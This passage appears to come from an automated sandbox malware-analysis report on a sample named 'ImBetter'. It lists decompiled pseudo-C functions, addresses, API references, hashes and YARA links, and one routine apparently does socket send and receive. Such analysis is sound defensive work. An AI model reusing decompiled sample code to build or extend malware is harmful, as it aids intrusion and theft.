				signed long long _t46;
				char* _t55;
				void* _t72;
				intOrPtr _t73;
				intOrPtr _t76;
				void* _t79;
				long long _t80;
				void* _t82;
				long long _t85;
				void* _t87;
				signed long long _t88;

				 *((long long*)(_t87 + 0x20)) = __rbx;
				_push(_t85);
				_t88 = _t87 - 0x60;
				_t46 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t88 + 0x50) = _t46 ^ _t88;
				_t55 = __r8;
				_t80 = __rcx;
				 *((long long*)(_t88 + 0x48)) = __rcx;
				 *((long long*)(_t88 + 0x48)) = __r8;
				if ( *((intOrPtr*)(__r8 + 0x10)) == _t85) goto 0xe6b014e9;
				_t6 = _t85 + 2; // 0x2
				r8d = _t6;
				E00007FF77FF7E6B02A20(__r8, __r8, __rdx, __r8, _t79);
				r8d =  *__rdx;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))) + 0x10))();
				_t72 =  >=  ?  *((void*)(_t88 + 0x28)) : _t88 + 0x28;
				E00007FF77FF7E6B02A20(_t55, _t55, __rdx,  *((intOrPtr*)(_t88 + 0x38)), _t82);
				_t73 =  *((intOrPtr*)(_t88 + 0x40));
				if (_t73 - 0x10 < 0) goto 0xe6b01558;
				if (_t73 + 1 - 0x1000 < 0) goto 0xe6b01553;
				if ( *((intOrPtr*)(_t88 + 0x28)) -  *((intOrPtr*)( *((intOrPtr*)(_t88 + 0x28)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b015e8;
				E00007FF77FF7E6B3CAF0(_t35,  *((intOrPtr*)( *((intOrPtr*)(_t88 + 0x28)) - 8)));
				asm("xorps xmm0, xmm0");
				asm("movups [edi], xmm0");
				 *((long long*)(_t80 + 0x10)) = _t85;
				 *((long long*)(_t80 + 0x18)) = _t85;
				asm("movups xmm0, [ebx]");
				asm("movups [edi], xmm0");
				asm("movups xmm1, [ebx+0x10]");
				asm("movups [edi+0x10], xmm1");
				 *((long long*)(_t55 + 0x10)) = _t85;
				 *((long long*)(_t55 + 0x18)) = 0xf;
				 *_t55 = 0;
				_t76 =  *((intOrPtr*)(_t55 + 0x18));
				if (_t76 - 0x10 < 0) goto 0xe6b015b9;
				if (_t76 + 1 - 0x1000 < 0) goto 0xe6b015b4;
				if ( *_t55 -  *((intOrPtr*)( *_t55 - 8)) - 8 - 0x1f > 0) goto 0xe6b015ee;
				_t32 = E00007FF77FF7E6B3CAF0(_t35,  *((intOrPtr*)( *_t55 - 8)));
				 *((long long*)(_t55 + 0x10)) = _t85;
				 *((long long*)(_t55 + 0x18)) = 0xf;
				 *_t55 = 0;
				return E00007FF77FF7E6B3C7F0(_t32, _t34,  *(_t88 + 0x50) ^ _t88);
			}

0x7ff7e6b014a0
0x7ff7e6b014a5
0x7ff7e6b014a8
0x7ff7e6b014ac
0x7ff7e6b014b6
0x7ff7e6b014bb
0x7ff7e6b014c1
0x7ff7e6b014c4
0x7ff7e6b014c9
0x7ff7e6b014d4
0x7ff7e6b014d6
0x7ff7e6b014d6
0x7ff7e6b014e4
0x7ff7e6b014f0
0x7ff7e6b014f8
0x7ff7e6b01507
0x7ff7e6b01515
0x7ff7e6b0151b
0x7ff7e6b01524
0x7ff7e6b01538
0x7ff7e6b0154d
0x7ff7e6b01553
0x7ff7e6b01558
0x7ff7e6b0155b
0x7ff7e6b0155e
0x7ff7e6b01562
0x7ff7e6b01566
0x7ff7e6b01569
0x7ff7e6b0156c
0x7ff7e6b01570
0x7ff7e6b01574
0x7ff7e6b01578
0x7ff7e6b01580
0x7ff7e6b01583
0x7ff7e6b0158b
0x7ff7e6b0159a
0x7ff7e6b015af
0x7ff7e6b015b4
0x7ff7e6b015b9
0x7ff7e6b015bd
0x7ff7e6b015c5
0x7ff7e6b015e7

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B015E8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B015EE

Part of subcall function 00007FF7E6B014A0: __std_exception_copy.LIBVCRUNTIME ref: 00007FF7E6B0167B

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B016F5
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF7E6B0171D

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy__std_exception_destroy
String ID:
API String ID: 2138705365-0
Opcode ID: b010ce8ab3e9dac864d3f12fcfce36078f62015e3e6fb870d593e202b540c58c
Instruction ID: f74a65f34f7219b1f570b22c019a1173d71152f587766f34aa6f58d93411c96a
Opcode Fuzzy Hash: b010ce8ab3e9dac864d3f12fcfce36078f62015e3e6fb870d593e202b540c58c
Instruction Fuzzy Hash: AE71C532A18B8581EB14AB65E84436EB361FB85B98FA48132DB9D0779ADF7CD090C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0BD80 Relevance: 7.6, APIs: 5, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00007FF77FF7E6B0BD80(void* __rax, void* __rcx, long long __rdx, long long __r8, long long __r9, intOrPtr _a24, char _a32, intOrPtr _a56, char _a64, intOrPtr _a88, long long _a96, long long _a104, long long _a112, void* _a120, signed int _a4216) {
				char _v0;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				intOrPtr _t50;
				void* _t54;
				void* _t56;
				void* _t57;
				signed long long _t84;
				signed long long _t85;
				char* _t98;
				intOrPtr _t131;
				intOrPtr _t134;
				intOrPtr _t137;
				intOrPtr _t143;
				intOrPtr _t146;
				intOrPtr _t149;
				char* _t152;
				char* _t153;
				void* _t155;
				void* _t164;
				void* _t165;
				long long _t166;

				E00007FF77FF7E6B3D640(0x10b0, __rax, _t164, _t165);
				_t156 = _t155 - __rax;
				_t84 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t85 = _t84 ^ _t155 - __rax;
				_a4216 = _t85;
				_t152 = __r9;
				_t153 = __r8;
				_t98 = __rdx;
				_a96 = __rdx;
				_a104 = __r8;
				_a112 = __r9;
				r14d = 0;
				if ( *((intOrPtr*)(__rdx + 0x10)) - _t166 <= 0) goto 0xe6b0bf66;
				E00007FF77FF7E6B10DF0(__rdx,  &_a64, __r9, __r9, __rcx, __r8);
				if ( *((long long*)(_t98 + 0x18)) - 0x10 < 0) goto 0xe6b0bdf2;
				E00007FF77FF7E6B02A20(_t98, _t85, _t153,  *((intOrPtr*)(_t98 + 0x10)));
				asm("movups xmm0, [eax]");
				asm("movups [esp+0x48], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [esp+0x58], xmm1");
				 *((long long*)(_t85 + 0x10)) = _t166;
				 *((long long*)(_t85 + 0x18)) = 0xf;
				 *_t85 = 0;
				E00007FF77FF7E6B1BFD0(_t56, _t98,  &_v0,  &_a32,  *((intOrPtr*)(_t98 + 0x10)));
				0xe6b0e350();
				_t131 = _a24;
				if (_t131 - 0x10 < 0) goto 0xe6b0be75;
				if (_t131 + 1 - 0x1000 < 0) goto 0xe6b0be70;
				if (_v0 -  *((intOrPtr*)(_v0 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c063;
				E00007FF77FF7E6B3CAF0(_t57,  *((intOrPtr*)(_v0 - 8)));
				asm("movdqa xmm0, [0x556c3]");
				asm("movdqu [esp+0x38], xmm0");
				_v0 = 0;
				_t134 = _a56;
				if (_t134 - 0x10 < 0) goto 0xe6b0bec6;
				if (_t134 + 1 - 0x1000 < 0) goto 0xe6b0bec0;
				if (_a32 -  *((intOrPtr*)(_a32 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c069;
				E00007FF77FF7E6B3CAF0(_t57,  *((intOrPtr*)(_a32 - 8)));
				_t137 = _a88;
				if (_t137 - 0x10 < 0) goto 0xe6b0bf06;
				if (_t137 + 1 - 0x1000 < 0) goto 0xe6b0bf01;
				if (_a64 -  *((intOrPtr*)(_a64 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c06f;
				_t50 = E00007FF77FF7E6B3CAF0(_t57,  *((intOrPtr*)(_a64 - 8)));
				if ( *((long long*)(_t98 + 0x18)) - 0x10 < 0) goto 0xe6b0bf13;
				r9d = 0;
				r8d =  *((intOrPtr*)(_t98 + 0x10));
				__imp__#19();
				r8d = 0x1000;
				E00007FF77FF7E6B3EA30();
				r9d = 0;
				r8d = 0x1000;
				__imp__#16();
				if (_t50 <= 0) goto 0xe6b0bf66;
				E00007FF77FF7E6B0DDC0(_t50, _t98, _t153);
				0xe6b0a220();
				_t143 =  *((intOrPtr*)(_t98 + 0x18));
				if (_t143 - 0x10 < 0) goto 0xe6b0bfa0;
				if (_t143 + 1 - 0x1000 < 0) goto 0xe6b0bf9b;
				if ( *_t98 -  *((intOrPtr*)( *_t98 - 8)) - 8 - 0x1f > 0) goto 0xe6b0c075;
				E00007FF77FF7E6B3CAF0(_t50,  *((intOrPtr*)( *_t98 - 8)));
				 *((long long*)(_t98 + 0x10)) = _t166;
				 *((long long*)(_t98 + 0x18)) = 0xf;
				 *_t98 = 0;
				_t146 =  *((intOrPtr*)(_t153 + 0x18));
				if (_t146 - 0x10 < 0) goto 0xe6b0bfe5;
				if (_t146 + 1 - 0x1000 < 0) goto 0xe6b0bfe0;
				if ( *_t153 -  *((intOrPtr*)( *_t153 - 8)) - 8 - 0x1f > 0) goto 0xe6b0c057;
				E00007FF77FF7E6B3CAF0(_t50,  *((intOrPtr*)( *_t153 - 8)));
				 *((long long*)(_t153 + 0x10)) = _t166;
				 *((long long*)(_t153 + 0x18)) = 0xf;
				 *_t153 = 0;
				_t149 =  *((intOrPtr*)(_t152 + 0x18));
				if (_t149 - 0x10 < 0) goto 0xe6b0c02a;
				if (_t149 + 1 - 0x1000 < 0) goto 0xe6b0c025;
				if ( *_t152 -  *((intOrPtr*)( *_t152 - 8)) - 8 - 0x1f > 0) goto 0xe6b0c05d;
				_t54 = E00007FF77FF7E6B3CAF0(_t50,  *((intOrPtr*)( *_t152 - 8)));
				 *((long long*)(_t152 + 0x10)) = _t166;
				 *((long long*)(_t152 + 0x18)) = 0xf;
				 *_t152 = 0;
				return E00007FF77FF7E6B3C7F0(_t54, _t56, _a4216 ^ _t156);
			}

0x7ff7e6b0bd8c
0x7ff7e6b0bd91
0x7ff7e6b0bd94
0x7ff7e6b0bd9b
0x7ff7e6b0bd9e
0x7ff7e6b0bda6
0x7ff7e6b0bda9
0x7ff7e6b0bdac
0x7ff7e6b0bdb2
0x7ff7e6b0bdba
0x7ff7e6b0bdc2
0x7ff7e6b0bdca
0x7ff7e6b0bdd1
0x7ff7e6b0bddf
0x7ff7e6b0bded
0x7ff7e6b0bdf9
0x7ff7e6b0bdfe
0x7ff7e6b0be01
0x7ff7e6b0be06
0x7ff7e6b0be0a
0x7ff7e6b0be0f
0x7ff7e6b0be13
0x7ff7e6b0be1b
0x7ff7e6b0be28
0x7ff7e6b0be33
0x7ff7e6b0be38
0x7ff7e6b0be41
0x7ff7e6b0be55
0x7ff7e6b0be6a
0x7ff7e6b0be70
0x7ff7e6b0be75
0x7ff7e6b0be7d
0x7ff7e6b0be83
0x7ff7e6b0be88
0x7ff7e6b0be91
0x7ff7e6b0bea5
0x7ff7e6b0beba
0x7ff7e6b0bec0
0x7ff7e6b0bec6
0x7ff7e6b0bed2
0x7ff7e6b0bee6
0x7ff7e6b0befb
0x7ff7e6b0bf01
0x7ff7e6b0bf0e
0x7ff7e6b0bf13
0x7ff7e6b0bf16
0x7ff7e6b0bf1d
0x7ff7e6b0bf25
0x7ff7e6b0bf33
0x7ff7e6b0bf38
0x7ff7e6b0bf3b
0x7ff7e6b0bf4c
0x7ff7e6b0bf54
0x7ff7e6b0bf58
0x7ff7e6b0bf60
0x7ff7e6b0bf66
0x7ff7e6b0bf6e
0x7ff7e6b0bf7d
0x7ff7e6b0bf92
0x7ff7e6b0bf9b
0x7ff7e6b0bfa0
0x7ff7e6b0bfa4
0x7ff7e6b0bfac
0x7ff7e6b0bfaf
0x7ff7e6b0bfb7
0x7ff7e6b0bfc6
0x7ff7e6b0bfdb
0x7ff7e6b0bfe0
0x7ff7e6b0bfe5
0x7ff7e6b0bfe9
0x7ff7e6b0bff1
0x7ff7e6b0bff4
0x7ff7e6b0bffc
0x7ff7e6b0c00b
0x7ff7e6b0c020
0x7ff7e6b0c025
0x7ff7e6b0c02a
0x7ff7e6b0c02e
0x7ff7e6b0c036
0x7ff7e6b0c056

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3acfb8adcd8897d9d24be9e9fc5f7295cb77779a414a532a216531b44dde8715
Instruction ID: ef7f88c9a43e9ed33f30df8f2209848a868c6570c2d4ffa1db2b685dc4585735
Opcode Fuzzy Hash: 3acfb8adcd8897d9d24be9e9fc5f7295cb77779a414a532a216531b44dde8715
Instruction Fuzzy Hash: F821A86261568186F614BB25E89436FB6A2EB11784F904431DA8C07B9BEF7CD4E09351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3C32C Relevance: 7.6, APIs: 5, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00007FF77FF7E6B3C32C(signed int __ecx, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed int _t46;
				void* _t51;

				_a8 = __rbx;
				_a16 = __rsi;
				_t27 = __ecx & 0x0000001f;
				if ((__ecx & 0x00000008) == 0) goto 0xe6b3c35e;
				if (sil >= 0) goto 0xe6b3c35e;
				E00007FF77FF7E6B313F4(_t27, _t51);
				_t28 = _t27 & 0xfffffff7;
				goto 0xe6b3c3b5;
				_t42 = 0x00000004 & dil;
				if (_t42 == 0) goto 0xe6b3c379;
				asm("dec eax");
				if (_t42 >= 0) goto 0xe6b3c379;
				E00007FF77FF7E6B313F4(_t28, _t51);
				_t29 = _t28 & 0xfffffffb;
				goto 0xe6b3c3b5;
				_t43 = dil & 0x00000001;
				if (_t43 == 0) goto 0xe6b3c395;
				asm("dec eax");
				if (_t43 >= 0) goto 0xe6b3c395;
				E00007FF77FF7E6B313F4(_t29, _t51);
				_t30 = _t29 & 0xfffffffe;
				goto 0xe6b3c3b5;
				_t44 = dil & 0x00000002;
				if (_t44 == 0) goto 0xe6b3c3b5;
				asm("dec eax");
				if (_t44 >= 0) goto 0xe6b3c3b5;
				if ((dil & 0x00000010) == 0) goto 0xe6b3c3b2;
				E00007FF77FF7E6B313F4(_t30, _t51);
				_t31 = _t30 & 0xfffffffd;
				_t46 = dil & 0x00000010;
				if (_t46 == 0) goto 0xe6b3c3cf;
				asm("dec eax");
				if (_t46 >= 0) goto 0xe6b3c3cf;
				E00007FF77FF7E6B313F4(_t31, _t51);
				return 0 | (_t31 & 0xffffffef) == 0x00000000;
			}

0x7ff7e6b3c32c
0x7ff7e6b3c331
0x7ff7e6b3c340
0x7ff7e6b3c348
0x7ff7e6b3c34d
0x7ff7e6b3c354
0x7ff7e6b3c359
0x7ff7e6b3c35c
0x7ff7e6b3c363
0x7ff7e6b3c366
0x7ff7e6b3c368
0x7ff7e6b3c36d
0x7ff7e6b3c36f
0x7ff7e6b3c374
0x7ff7e6b3c377
0x7ff7e6b3c379
0x7ff7e6b3c37d
0x7ff7e6b3c37f
0x7ff7e6b3c384
0x7ff7e6b3c38b
0x7ff7e6b3c390
0x7ff7e6b3c393
0x7ff7e6b3c395
0x7ff7e6b3c399
0x7ff7e6b3c39b
0x7ff7e6b3c3a0
0x7ff7e6b3c3a6
0x7ff7e6b3c3ad
0x7ff7e6b3c3b2
0x7ff7e6b3c3b5
0x7ff7e6b3c3b9
0x7ff7e6b3c3bb
0x7ff7e6b3c3c0
0x7ff7e6b3c3c7
0x7ff7e6b3c3e5

APIs

_set_statfp.LIBCMT ref: 00007FF7E6B3C354
_set_statfp.LIBCMT ref: 00007FF7E6B3C36F
_set_statfp.LIBCMT ref: 00007FF7E6B3C38B
_set_statfp.LIBCMT ref: 00007FF7E6B3C3C7

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 1bb473138f9ce87012b926fcc367580a5a9421af8053392c5fe2b4c405943a53
Instruction ID: 2970dd34aee740b4bd9b8a0ec3a34d0953384887e7d8c67e5c6aa977b035c94f
Opcode Fuzzy Hash: 1bb473138f9ce87012b926fcc367580a5a9421af8053392c5fe2b4c405943a53
Instruction Fuzzy Hash: B9118222FBCA4341F77431A8DC453BBB041AF55360EB80637EB6E06EDA8FBC68404122

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2A4C4 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7E6B25653,?,?,00000000,00007FF7E6B258EE,?,?,?,?,?,00007FF7E6B2587A), ref: 00007FF7E6B2A4E3
FlsSetValue.KERNEL32(?,?,?,00007FF7E6B25653,?,?,00000000,00007FF7E6B258EE,?,?,?,?,?,00007FF7E6B2587A), ref: 00007FF7E6B2A502
FlsSetValue.KERNEL32(?,?,?,00007FF7E6B25653,?,?,00000000,00007FF7E6B258EE,?,?,?,?,?,00007FF7E6B2587A), ref: 00007FF7E6B2A52A
FlsSetValue.KERNEL32(?,?,?,00007FF7E6B25653,?,?,00000000,00007FF7E6B258EE,?,?,?,?,?,00007FF7E6B2587A), ref: 00007FF7E6B2A53B
FlsSetValue.KERNEL32(?,?,?,00007FF7E6B25653,?,?,00000000,00007FF7E6B258EE,?,?,?,?,?,00007FF7E6B2587A), ref: 00007FF7E6B2A54C

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: b0f9e21eee16cb70f54efbaa7e210d8486e4e93134866ecf6f9a38e492ef846f
Instruction ID: c5a0086eb09dba49e6c515dc60e39d3a7a59f99da1b90809ccc277eedb9b9fdb
Opcode Fuzzy Hash: b0f9e21eee16cb70f54efbaa7e210d8486e4e93134866ecf6f9a38e492ef846f
Instruction Fuzzy Hash: 06115C20E2868201FA58B3266D5533BB2D36F49BA0FB44736E93D066D6DF3CE4414622

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2A358 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7E6B2A369
FlsSetValue.KERNEL32 ref: 00007FF7E6B2A388
FlsSetValue.KERNEL32 ref: 00007FF7E6B2A3B0
FlsSetValue.KERNEL32 ref: 00007FF7E6B2A3C1
FlsSetValue.KERNEL32 ref: 00007FF7E6B2A3D2

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1290ae178add76fda819a6fc1b27d156ddb6c8c020b1ec629ce84d3d123dbe61
Instruction ID: f69d1bb9b29eca2a9317f34fe5f262bee196fb75f70c61a916b4c3fe854b121d
Opcode Fuzzy Hash: 1290ae178add76fda819a6fc1b27d156ddb6c8c020b1ec629ce84d3d123dbe61
Instruction Fuzzy Hash: 30113A10A3828642F9A8B2255C5137BB2D36F45370EB40B36E43E092D2DF3CB4418623

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B4920C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00007FF77FF7E6B4920C(long long __rbx, signed int* __rcx, void* __rdx, long long __rdi, long long __rsi) {
				signed int _t33;
				signed int _t36;
				signed int _t49;
				signed int _t56;
				void* _t61;
				void* _t83;
				signed int _t89;
				void* _t90;
				signed int _t94;
				signed int _t109;
				intOrPtr* _t129;
				signed short* _t131;
				signed short* _t132;
				long long _t136;
				signed int _t138;
				signed short* _t142;
				signed short* _t143;

				_t109 = _t138;
				 *((long long*)(_t109 + 8)) = __rbx;
				 *((long long*)(_t109 + 0x10)) = _t136;
				 *((long long*)(_t109 + 0x18)) = __rsi;
				 *((long long*)(_t109 + 0x20)) = __rdi;
				 *__rcx = _t109;
				__rcx[2] = 0;
				r14d = 0x20;
				__rcx[1] =  *0xe6b6e028;
				goto 0xe6b4924f;
				_t142 = __rdx + 2;
				_t33 =  *_t142 & 0x0000ffff;
				if (_t33 == r14w) goto 0xe6b49247;
				if (_t33 == 0x61) goto 0xe6b4927c;
				if (_t33 == 0x72) goto 0xe6b49273;
				if (_t33 != 0x77) goto 0xe6b494e0;
				 *__rcx = 0x301;
				goto 0xe6b49282;
				__rcx[1] = 1;
				goto 0xe6b49289;
				 *__rcx = 0x109;
				__rcx[1] = 2;
				_t143 =  &(_t142[1]);
				r9b = bpl;
				dil = bpl;
				r10b = bpl;
				r11b = bpl;
				_t9 = _t136 + 0xa; // 0xa
				if ( *_t143 == 0) goto 0xe6b493f2;
				_t56 =  *_t143 & 0x0000ffff;
				_t83 = _t56 - 0x53;
				if (_t83 > 0) goto 0xe6b4935c;
				if (_t83 == 0) goto 0xe6b49345;
				if (_t83 == 0) goto 0xe6b493dd;
				if (_t83 == 0) goto 0xe6b49313;
				if (_t83 == 0) goto 0xe6b4930b;
				if (_t83 == 0) goto 0xe6b492f9;
				_t61 = _t56 - r14d - 0xfffffffffffffff2 - _t9;
				if (_t83 == 0) goto 0xe6b492f0;
				if (_t61 != 4) goto 0xe6b494e0;
				if (r10b != 0) goto 0xe6b493d0;
				 *__rcx =  *__rcx | 0x00000010;
				goto 0xe6b49351;
				asm("bts dword [ebx], 0x7");
				goto 0xe6b493db;
				if (( *__rcx & 0x00000040) != 0) goto 0xe6b493d0;
				goto 0xe6b493d9;
				r11b = 1;
				goto 0xe6b493d0;
				if (dil != 0) goto 0xe6b493d0;
				_t36 =  *__rcx;
				dil = 1;
				if ((_t36 & 0x00000002) != 0) goto 0xe6b493d0;
				 *__rcx = _t36 & 0xfffffffe | 0x00000002;
				__rcx[1] = __rcx[1] & 0xfffffffc | 0x00000004;
				goto 0xe6b493dd;
				_t89 = r10b;
				if (_t89 != 0) goto 0xe6b493d0;
				 *__rcx =  *__rcx | r14d;
				r10b = 1;
				goto 0xe6b493dd;
				if (_t89 == 0) goto 0xe6b493c8;
				if (_t89 == 0) goto 0xe6b493b9;
				if (_t89 == 0) goto 0xe6b493a7;
				if (_t89 == 0) goto 0xe6b4939b;
				if (_t89 == 0) goto 0xe6b4938c;
				_t90 = _t61 - 0x34 - 4;
				if (_t90 != 0) goto 0xe6b494e0;
				asm("bt eax, 0x9");
				if (_t90 >= 0) goto 0xe6b493d0;
				asm("bts eax, 0xa");
				goto 0xe6b493d9;
				if (( *__rcx & 0x0000c000) != 0) goto 0xe6b493d0;
				asm("bts eax, 0xe");
				goto 0xe6b493d9;
				if (r9b != 0) goto 0xe6b493d0;
				asm("btr dword [ebx+0x4], 0xb");
				goto 0xe6b493b1;
				if (r9b != 0) goto 0xe6b493d0;
				asm("bts dword [ebx+0x4], 0xb");
				r9b = 1;
				goto 0xe6b493dd;
				_t94 =  *__rcx & 0x0000c000;
				if (_t94 != 0) goto 0xe6b493d0;
				asm("bts eax, 0xf");
				goto 0xe6b493d9;
				asm("bt eax, 0xc");
				if (_t94 >= 0) goto 0xe6b493d5;
				goto 0xe6b493dd;
				asm("bts eax, 0xc");
				asm("dec eax");
				_t144 = _t143 + __rcx;
				if (1 != 0) goto 0xe6b492a0;
				_t20 = _t144 + 2; // -1
				_t128 =  ==  ? _t143 + __rcx : _t20;
				goto 0xe6b49403;
				_t129 = ( ==  ? _t143 + __rcx : _t20) + 2;
				if ( *_t129 == r14w) goto 0xe6b493ff;
				if (r11b != 0) goto 0xe6b49420;
				if ( *_t129 != 0) goto 0xe6b494e0;
				__rcx[2] = 1;
				goto 0xe6b494f0;
				r8d = 3;
				if (E00007FF77FF7E6B34E48(_t143 + __rcx) != 0) goto 0xe6b494e0;
				goto 0xe6b49447;
				_t131 = _t129 + 8;
				_t49 =  *_t131 & 0x0000ffff;
				if (_t49 == r14w) goto 0xe6b49443;
				if (_t49 != 0x3d) goto 0xe6b494e0;
				_t132 =  &(_t131[1]);
				if ( *_t132 == r14w) goto 0xe6b4945a;
				r8d = 5;
				if (E00007FF77FF7E6B3A240(_t109, _t132) != 0) goto 0xe6b49483;
				asm("bts dword [ebx], 0x12");
				goto 0xe6b494c5;
				r8d = 8;
				if (E00007FF77FF7E6B3A240(_t109, _t132) != 0) goto 0xe6b494a5;
				asm("bts dword [ebx], 0x11");
				goto 0xe6b494c5;
				r8d = 7;
				if (E00007FF77FF7E6B3A240(_t109, _t132) != 0) goto 0xe6b494e0;
				asm("bts dword [ebx], 0x10");
				goto 0xe6b494cf;
				if (( *(_t132 + __rsi + 2) & 0x0000ffff) == r14w) goto 0xe6b494cb;
				goto 0xe6b49411;
				E00007FF77FF7E6B29CE4(_t109);
				 *_t109 = 0x16;
				return E00007FF77FF7E6B25994();
			}

0x7ff7e6b4920c
0x7ff7e6b4920f
0x7ff7e6b49213
0x7ff7e6b49217
0x7ff7e6b4921b
0x7ff7e6b4922a
0x7ff7e6b49230
0x7ff7e6b49233
0x7ff7e6b4923f
0x7ff7e6b49245
0x7ff7e6b49247
0x7ff7e6b4924b
0x7ff7e6b49253
0x7ff7e6b49259
0x7ff7e6b4925f
0x7ff7e6b49265
0x7ff7e6b4926b
0x7ff7e6b49271
0x7ff7e6b49273
0x7ff7e6b4927a
0x7ff7e6b4927c
0x7ff7e6b49282
0x7ff7e6b49289
0x7ff7e6b49291
0x7ff7e6b49294
0x7ff7e6b49297
0x7ff7e6b4929a
0x7ff7e6b4929d
0x7ff7e6b492a4
0x7ff7e6b492aa
0x7ff7e6b492ae
0x7ff7e6b492b1
0x7ff7e6b492b7
0x7ff7e6b492c0
0x7ff7e6b492c9
0x7ff7e6b492ce
0x7ff7e6b492d3
0x7ff7e6b492d5
0x7ff7e6b492d7
0x7ff7e6b492dc
0x7ff7e6b492e5
0x7ff7e6b492eb
0x7ff7e6b492ee
0x7ff7e6b492f0
0x7ff7e6b492f4
0x7ff7e6b492fd
0x7ff7e6b49306
0x7ff7e6b4930b
0x7ff7e6b4930e
0x7ff7e6b49316
0x7ff7e6b4931c
0x7ff7e6b4931e
0x7ff7e6b49323
0x7ff7e6b49332
0x7ff7e6b4933d
0x7ff7e6b49340
0x7ff7e6b49345
0x7ff7e6b49348
